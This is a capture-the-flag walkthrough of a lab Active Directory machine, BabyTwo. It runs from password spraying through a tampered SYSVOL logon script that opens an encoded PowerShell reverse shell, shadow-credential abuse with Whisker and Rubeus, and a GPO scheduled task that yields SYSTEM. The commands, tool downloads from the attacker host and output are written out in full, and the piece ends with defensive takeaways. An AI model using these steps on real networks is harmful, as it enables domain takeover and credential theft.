Back to Walkthroughs

BabyTwo

BabyTwo is a medium-difficulty Windows machine set in an Active Directory environment. The initial foothold is gained through password guessing and the abuse of Windows logon scripts. Privilege escalation is achieved by exploiting misconfigured Access Control Lists (ACLs) and Group Policy Objects (GPOs).

Difficulty Medium
OS Windows
Released 25 Sept 2025
Rating 4.9

Reconnaissance

I started with a full TCP scan.

$ nmap -p- -sCV -Pn -n --min-rate=10000 -T4 10.129.234.72
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-21 22:35 +0200
Nmap scan report for 10.129.234.72
Host is up (0.14s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-21 20:36:13Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby2.vl, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Not valid before: 2025-08-19T14:22:11
|_Not valid after:  2105-08-19T14:22:11
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: baby2.vl, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Not valid before: 2025-08-19T14:22:11
|_Not valid after:  2105-08-19T14:22:11
|_ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby2.vl, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Not valid before: 2025-08-19T14:22:11
|_Not valid after:  2105-08-19T14:22:11
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: baby2.vl, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Not valid before: 2025-08-19T14:22:11
|_Not valid after:  2105-08-19T14:22:11
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=dc.baby2.vl
| Not valid before: 2026-08-20T20:33:30
|_Not valid after:  2027-02-19T20:33:30
|_ssl-date: 2026-08-21T20:37:42+00:00; 0s from scanner time.
| rdp-ntlm-info:
|   Target_Name: BABY2
|   NetBIOS_Domain_Name: BABY2
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: baby2.vl
|   DNS_Computer_Name: dc.baby2.vl
|   DNS_Tree_Name: baby2.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2026-08-21T20:37:02+00:00
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
53898/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
53899/tcp open  msrpc         Microsoft Windows RPC
58887/tcp open  msrpc         Microsoft Windows RPC
61272/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-08-21T20:37:03
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.49 seconds

Note: A standard domain controller for baby2.vl — the usual AD services plus RDP. Nothing jumps out, so the way in will be through whatever an unauthenticated user can reach over SMB and LDAP.

I added the hostnames to /etc/hosts.

$ echo '10.129.234.72    baby2 baby2.vl dc.baby2.vl' | sudo tee -a /etc/hosts
10.129.234.72    baby2 baby2.vl dc.baby2.vl

Guest Enumeration

Guest authentication is enabled with a null password.

$ nxc smb baby2.vl -u 'guest' -p ''
SMB         10.129.234.72   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.72   445    DC               [+] baby2.vl\guest:

--users returned nothing, so I enumerated the domain accounts by RID brute-forcing instead.

$ nxc smb baby2.vl -u 'guest' -p '' --rid-brute
SMB         10.129.234.72   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.72   445    DC               [+] baby2.vl\guest:
SMB         10.129.234.72   445    DC               498: BABY2\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.234.72   445    DC               500: BABY2\Administrator (SidTypeUser)
SMB         10.129.234.72   445    DC               501: BABY2\Guest (SidTypeUser)
SMB         10.129.234.72   445    DC               502: BABY2\krbtgt (SidTypeUser)
<SNIP>
SMB         10.129.234.72   445    DC               1103: BABY2\gpoadm (SidTypeUser)
SMB         10.129.234.72   445    DC               1104: BABY2\office (SidTypeGroup)
SMB         10.129.234.72   445    DC               1105: BABY2\Joan.Jennings (SidTypeUser)
SMB         10.129.234.72   445    DC               1106: BABY2\Mohammed.Harris (SidTypeUser)
SMB         10.129.234.72   445    DC               1107: BABY2\Harry.Shaw (SidTypeUser)
SMB         10.129.234.72   445    DC               1108: BABY2\Carl.Moore (SidTypeUser)
SMB         10.129.234.72   445    DC               1109: BABY2\Ryan.Jenkins (SidTypeUser)
SMB         10.129.234.72   445    DC               1110: BABY2\Kieran.Mitchell (SidTypeUser)
SMB         10.129.234.72   445    DC               1111: BABY2\Nicola.Lamb (SidTypeUser)
SMB         10.129.234.72   445    DC               1112: BABY2\Lynda.Bailey (SidTypeUser)
SMB         10.129.234.72   445    DC               1113: BABY2\Joel.Hurst (SidTypeUser)
SMB         10.129.234.72   445    DC               1114: BABY2\Amelia.Griffiths (SidTypeUser)
SMB         10.129.234.72   445    DC               1602: BABY2\library (SidTypeUser)
SMB         10.129.234.72   445    DC               2601: BABY2\legacy (SidTypeGroup)

I saved the usernames to a wordlist.

$ nxc smb baby2.vl -u 'guest' -p '' --rid-brute | grep SidTypeUser | awk -F ' ' '{print $6}' | awk -F '\' '{print $2}' > domainUsers.txt

The guest session can also list shares; apps is readable and homes is even writable.

$ nxc smb baby2.vl -u 'guest' -p '' --shares
SMB         10.129.234.72   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.72   445    DC               [+] baby2.vl\guest:
SMB         10.129.234.72   445    DC               [*] Enumerated shares
SMB         10.129.234.72   445    DC               Share           Permissions     Remark
SMB         10.129.234.72   445    DC               -----           -----------     ------
SMB         10.129.234.72   445    DC               ADMIN$                          Remote Admin
SMB         10.129.234.72   445    DC               apps            READ
SMB         10.129.234.72   445    DC               C$                              Default share
SMB         10.129.234.72   445    DC               docs
SMB         10.129.234.72   445    DC               homes           READ,WRITE
SMB         10.129.234.72   445    DC               IPC$            READ            Remote IPC
SMB         10.129.234.72   445    DC               NETLOGON        READ            Logon server share
SMB         10.129.234.72   445    DC               SYSVOL                          Logon server share

Browsing apps, there’s a dev folder with a CHANGELOG and a shortcut to a login script.

$ impacket-smbclient baby2.vl/guest@baby2.vl -no-pass
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# use apps
# ls
drw-rw-rw-          0  Thu Sep  7 21:20:13 2023 .
drw-rw-rw-          0  Tue Aug 22 22:10:21 2023 ..
drw-rw-rw-          0  Thu Sep  7 21:20:13 2023 dev
# cd dev
# ls
drw-rw-rw-          0  Thu Sep  7 21:20:13 2023 .
drw-rw-rw-          0  Thu Sep  7 21:20:13 2023 ..
-rw-rw-rw-        108  Thu Sep  7 21:20:13 2023 CHANGELOG
-rw-rw-rw-       1800  Thu Sep  7 21:20:13 2023 login.vbs.lnk
# get login.vbs.lnk
# exit

The shortcut’s strings point at a VBS login script served from SYSVOL / NETLOGON.

$ strings login.vbs.lnk
/C:\
Windows
SYSVOL
sysvol
baby2.vl
scripts
login.vbs
C:\Windows\SYSVOL\sysvol\baby2.vl\scripts\
\\DC\NETLOGON
login.vbs
a~Md
a~Md
1SPS
sf"i
1SPS
1SPS0
1SPS
jc(=
1SPS

Note: A domain logon script (login.vbs) runs in a user’s context every time they log on. If I can write to it in SYSVOL, I can execute code as whoever logs in next.

Password Spraying

With a user list in hand, I sprayed username-as-password across the domain; two accounts reuse their own name.

$ nxc smb baby2.vl -u domainUsers.txt -p domainUsers.txt --no-bruteforce --continue-on-success | grep -v [-]
SMB                      10.129.234.72   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB                      10.129.234.72   445    DC               [+] baby2.vl\Carl.Moore:Carl.Moore
SMB                      10.129.234.72   445    DC               [+] baby2.vl\library:library

Foothold via SYSVOL Login Script

I collected the domain into BloodHound as carl.moore.

$ bloodhound-ce-python -ns 10.129.234.72 -u carl.moore -p Carl.Moore -d baby2.vl --zip --auth-method ntlm --dns-tcp -dc dc.baby2.vl -c all
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: baby2.vl
INFO: Connecting to LDAP server: dc.baby2.vl
<SNIP>
INFO: Found 16 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.baby2.vl
INFO: Done in 00M 07S
INFO: Compressing output into 20260821235648_bloodhound.zip

Then I checked his share access — apps, docs and homes are now writable.

$ nxc smb baby2.vl -u carl.moore -p Carl.Moore --shares
SMB         10.129.234.72   445    DC               [+] baby2.vl\carl.moore:Carl.Moore
SMB         10.129.234.72   445    DC               [*] Enumerated shares
SMB         10.129.234.72   445    DC               Share           Permissions     Remark
SMB         10.129.234.72   445    DC               -----           -----------     ------
SMB         10.129.234.72   445    DC               ADMIN$                          Remote Admin
SMB         10.129.234.72   445    DC               apps            READ,WRITE
SMB         10.129.234.72   445    DC               C$                              Default share
SMB         10.129.234.72   445    DC               docs            READ,WRITE
SMB         10.129.234.72   445    DC               homes           READ,WRITE
SMB         10.129.234.72   445    DC               IPC$            READ            Remote IPC
SMB         10.129.234.72   445    DC               NETLOGON        READ            Logon server share
SMB         10.129.234.72   445    DC               SYSVOL          READ            Logon server share

The SYSVOL scripts folder holds the live login.vbs.

$ impacket-smbclient baby2/carl.moore:Carl.Moore@baby2.vl
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# use SYSVOL
# cd baby2.vl\scripts
# ls
drw-rw-rw-          0  Mon Aug 25 10:30:39 2025 .
drw-rw-rw-          0  Tue Aug 22 19:43:55 2023 ..
-rw-rw-rw-        992  Mon Aug 25 13:23:29 2025 login.vbs
# exit

Its ACL is the problem: Authenticated Users (and Everyone) have full control, so any domain user can rewrite the login script.

$ smbcacls //baby2.vl/SYSVOL /baby2.vl/scripts -U 'carl.moore%Carl.Moore'
REVISION:1
CONTROL:SR|PD|DI|DP
OWNER:BUILTIN\Administrators
GROUP:NT AUTHORITY\SYSTEM
ACL:CREATOR OWNER:ALLOWED/OI|CI|IO/FULL
ACL:NT AUTHORITY\Authenticated Users:ALLOWED/OI|CI/FULL
ACL:Everyone:ALLOWED/OI|CI/FULL
ACL:NT AUTHORITY\SYSTEM:ALLOWED/OI|CI/FULL
ACL:BUILTIN\Administrators:ALLOWED/0x0/RWXPO
ACL:BUILTIN\Administrators:ALLOWED/OI|CI|IO/FULL
ACL:BUILTIN\Server Operators:ALLOWED/OI|CI/READ

Note: This is a classic SYSVOL misconfiguration — world-writable logon scripts let a low-privileged user plant code that runs in the session of any user who logs in.

I replaced login.vbs with a version that launches a PowerShell reverse shell.

$ echo 'CreateObject("Wscript.shell").Run "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAw...' > login.vbs

Then I uploaded it to the scripts share as carl.moore.

$ smbclient -U "carl.moore%Carl.Moore" //10.129.234.72/SYSVOL -c 'cd baby2.vl; cd scripts;put login.vbs login.vbs'
putting file login.vbs as \baby2.vl\scripts\login.vbs (21.0 kB/s) (average 21.0 kB/s)

User Flag

When a user logs in, the script fires and I catch a shell as amelia.griffiths, with the user flag.

$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.56] from (UNKNOWN) [10.129.234.72] 65142

PS C:\Windows\system32> whoami
baby2\amelia.griffiths
PS C:\Windows\system32> cat C:\user.txt
4278************************5c38

Shadow Credentials on gpoadm

BloodHound shows the path forward: amelia.griffiths is a member of the legacy group, which holds WriteOwner over both the gpoadm user and the gpo-management OU.

BloodHound: amelia is a member of legacy, which has WriteOwner over gpoadm

And gpoadm itself has GenericAll over the domain’s two GPOs — including the Default Domain Controllers Policy that applies to the DC.

BloodHound: gpoadm has GenericAll over both the Default Domain Policy and Default Domain Controllers Policy GPOs

Note: WriteOwner lets me make myself the owner of gpoadm, and an owner can rewrite the object’s DACL to grant itself full control. gpoadm, in turn, can edit Group Policy — the path to the DC.

I transferred PowerView to the host and imported it.

PS C:\temp> iwr -uri http://10.10.14.56:8000/PowerView.ps1 -outfile PowerView.ps1
PS C:\temp> Import-Module .\PowerView.ps1

With PowerView loaded, I set amelia as the owner of gpoadm.

PS C:\temp> Set-DomainObjectOwner -TargetIdentity gpoadm -OwnerIdentity amelia.griffiths

Then I granted myself full control over it.

PS C:\temp> Add-DomainObjectAcl -TargetIdentity gpoadm -PrincipalIdentity amelia.griffiths -Rights All

I confirmed the new GenericAll ACE over gpoadm.

PS C:\temp> $sid = (Get-DomainObject -Identity amelia.griffiths).objectsid
PS C:\temp> Get-DomainObjectAcl -Identity gpoadm | ?{$_.SecurityIdentifier -eq $sid}


ObjectDN              : CN=gpoadm,OU=gpo-management,DC=baby2,DC=vl
ObjectSID             : S-1-5-21-213243958-1766259620-4276976267-1103
ActiveDirectoryRights : GenericAll
BinaryLength          : 36
AceQualifier          : AccessAllowed
IsCallback            : False
OpaqueLength          : 0
AccessMask            : 983551
SecurityIdentifier    : S-1-5-21-213243958-1766259620-4276976267-1114
AceType               : AccessAllowed
AceFlags              : None
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None
AuditFlags            : None

I pulled Whisker and Rubeus onto the box.

PS C:\temp> iwr -uri http://10.10.14.56:8000/Whisker.exe -outfile Whisker.exe
PS C:\temp> iwr -uri http://10.10.14.56:8000/Rubeus.exe -outfile Rubeus.exe

With write access to gpoadm, I used Whisker to add shadow credentials — a certificate in its msDS-KeyCredentialLink.

PS C:\temp> .\Whisker.exe add /target:gpoadm
[*] No path was provided. The certificate will be printed as a Base64 blob
[*] No pass was provided. The certificate will be stored with the password GTG1x7J6Q8b7sGhl
[*] Searching for the target account
[*] Target user found: CN=gpoadm,OU=gpo-management,DC=baby2,DC=vl
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID 1035b68e-5b99-4750-96c1-7134cdd98b56
[*] Updating the msDS-KeyCredentialLink attribute of the target object
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] You can now run Rubeus with the following syntax:

Rubeus.exe asktgt /user:gpoadm /certificate:MIIJqAIBAzCCCWQGCSqGSIb3DQEHAaCCCVUEgglRMIIJTTCCBg4GCSqGSIb3DQEHAaCCBf8EggX7<SNIP>AgIH0A== /password:"GTG1x7J6Q8b7sGhl" /domain:baby2.vl /dc:dc.baby2.vl /getcredentials /show

Then I used that certificate with Rubeus to request a TGT and recover gpoadm’s NT hash via U2U.

PS C:\temp> .\Rubeus.exe asktgt /user:gpoadm /certificate:MIIJqAIBAzCCCWQGCSqGSIb3DQEHAaCCCVUEgglRMIIJTTCCBg4GCSqGSIb3DQEHAaCCBf8EggX7<SNIP>AgIH0A== /password:"GTG1x7J6Q8b7sGhl" /domain:baby2.vl /dc:dc.baby2.vl /getcredentials /show

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=gpoadm
[*] Building AS-REQ (w/ PKINIT preauth) for: 'baby2.vl\gpoadm'
[*] Using domain controller: fe80::64cc:7085:1c14:6da0%3:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF/jCCBfqgAwIBBaEDAgEWooIFITCCBR1hggUZMIIFFaADAgEFoQobCEJBQlkyLlZMoh0wG6ADAgEC
      <SNIP>
      QUJZMi5WTKkdMBugAwIBAqEUMBIbBmtyYnRndBsIYmFieTIudmw=

  ServiceName              :  krbtgt/baby2.vl
  ServiceRealm             :  BABY2.VL
  UserName                 :  gpoadm (NT_PRINCIPAL)
  UserRealm                :  BABY2.VL
  StartTime                :  8/22/2026 1:57:46 PM
  EndTime                  :  8/22/2026 11:57:46 PM
  RenewTill                :  8/29/2026 1:57:46 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  8izaLy79CDvIXzaUGvf1UA==
  ASREP (key)              :  73B23EE13DC43C577E5BA6D5AD015D7E

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : 51B4E7AEE2FBDD4E36F2381115C8FE7A

GPO Abuse

gpoadm can edit Group Policy. Using its hash, I listed the GPOs with GPOwned.

$ python3 GPOwned/GPOwned.py -u gpoadm -hashes :51B4E7AEE2FBDD4E36F2381115C8FE7A -d baby2.vl -gpcmachine -listgpo -dc-ip 10.129.234.72
		GPO Helper - @TheXC3LL
		Modifications by - @Fabrizzio53


[*] Connecting to LDAP service at 10.129.234.72
[*] Requesting GPOs info from LDAP

[+] Name: {31B2F340-016D-11D2-945F-00C04FB984F9}
	[-] displayName: Default Domain Policy
	[-] gPCFileSysPath: \\baby2.vl\sysvol\baby2.vl\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
	[-] versionNumber: 30

[+] Name: {6AC1786C-016F-11D2-945F-00C04fB984F9}
	[-] displayName: Default Domain Controllers Policy
	[-] gPCFileSysPath: \\baby2.vl\sysvol\baby2.vl\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
	[-] versionNumber: 2

[^] Have a nice day!

The Default Domain Controllers Policy applies to the DC itself, so I abused it with pyGPOAbuse to add a scheduled task running a reverse shell.

$ python3 pyGPOAbuse/pygpoabuse.py baby2.vl/gpoadm -hashes :51B4E7AEE2FBDD4E36F2381115C8FE7A -gpo-id "6AC1786C-016F-11D2-945F-00C04fB984F9" -command 'powershell -e JABjAGwAaQBlAG4AdAAgAD0A<SNIP>AKAApAA==' -taskname 'revshell' -description 'revshell' -dc-ip 10.129.234.72 -f
[+] ScheduledTask revshell created!

Root Flag

The task runs as SYSTEM on the DC, giving me a shell and the root flag.

$ rlwrap nc -lnvp 9005
listening on [any] 9005 ...
connect to [10.10.14.56] from (UNKNOWN) [10.129.234.72] 61746

PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> cat c:\users\administrator\desktop\root.txt
2935************************40f9

Key Takeaways

Anonymous Access Feeds a Spray — A guest/null session enumerated every domain account by RID brute-forcing, and a username-as-password spray immediately returned two accounts. Disable anonymous enumeration, and never let accounts keep a password equal to their own name.

World-Writable Logon Scripts Are Code Execution — The SYSVOL scripts folder granted Authenticated Users full control, so any domain user could overwrite login.vbs and run code in the next user’s session. Logon scripts in SYSVOL should be writable only by administrators.

Control Over an Account Means Shadow Credentials — Write access to gpoadm let me add a certificate to its msDS-KeyCredentialLink and authenticate as it via PKINIT — no password needed — recovering its NT hash. Restrict who can write msDS-KeyCredentialLink, and watch for Key Trust abuse.

GPO Edit Rights Are Tier-0 — gpoadm could edit the Default Domain Controllers Policy, so a scheduled task pushed through it ran as SYSTEM on the domain controller. Treat GPO modify and link rights as domain-admin-equivalent, and audit who holds them.